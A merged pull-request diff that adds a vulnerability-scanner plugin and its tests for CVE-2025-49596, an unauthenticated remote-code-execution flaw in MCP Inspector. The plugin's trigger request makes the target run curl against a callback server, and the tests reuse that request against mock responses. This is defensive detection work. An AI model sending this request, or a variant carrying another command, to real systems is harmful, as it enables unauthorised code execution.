Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "MCP_Inspector_CVE_2025_49596"
author: "frkngksl"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "CVE-2025-49596"
}
severity: CRITICAL
title: "Remote code execution affecting MCP Inspector (CVE-2025-49596)"
description: "The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio."
recommendation: "Update the version to 0.14.1 or later."
related_id: {
publisher: "CVE"
value: "CVE-2025-49596"
}
}

config: {}

###########
# ACTIONS #
###########

actions: {
name: "fingerprint_mcpinspector"
http_request: {
method: GET
uri: "/"
response: {
expect_all: {
conditions: [
{ header: { name: "Access-Control-Expose-Headers" } contains: "mcp-session-id" }
]
}
}
}
}

actions: {
name: "trigger_code_execution"
http_request: {
method: GET
uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}"
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "sessionId=" }
]
}
}
}
}

actions: {
name: "check_callback_server_logs"
callback_server: { action_type: CHECK }
}


#############
# WORKFLOWS #
#############

workflows: {
condition: REQUIRES_CALLBACK_SERVER
actions: [
"fingerprint_mcpinspector",
"trigger_code_execution",
"check_callback_server_logs"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "MCP_Inspector_CVE_2025_49596"
}

tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true

mock_callback_server: {
enabled: true
has_interaction: true
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 404
headers: [
{ name: "Access-Control-Expose-Headers" value: "mcp-session-id" }
]
body_content: "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /</pre>\n</body>\n</html>\n"
},
{
uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}"
status: 200
body_content: "event: endpoint\ndata: /message?sessionId=c868d434-b75d-49cb-9f91-ca9d2c86e518"
}
]
}
}

tests: {
name: "whenNoCallback_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 404
headers: [
{ name: "Access-Control-Expose-Headers" value: "mcp-session-id" }
]
body_content: "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /</pre>\n</body>\n</html>\n"
},
{
uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}"
status: 401
body_content: "{\"error\":\"Unauthorized\",\"message\":\"Authentication required. Use the session token shown in the console when starting the server.\"}"
}
]
}
}

tests: {
name: "whenNotMCP_Inspector_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: true
}

mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 200
body_content: "Hello world"
}
]
}
}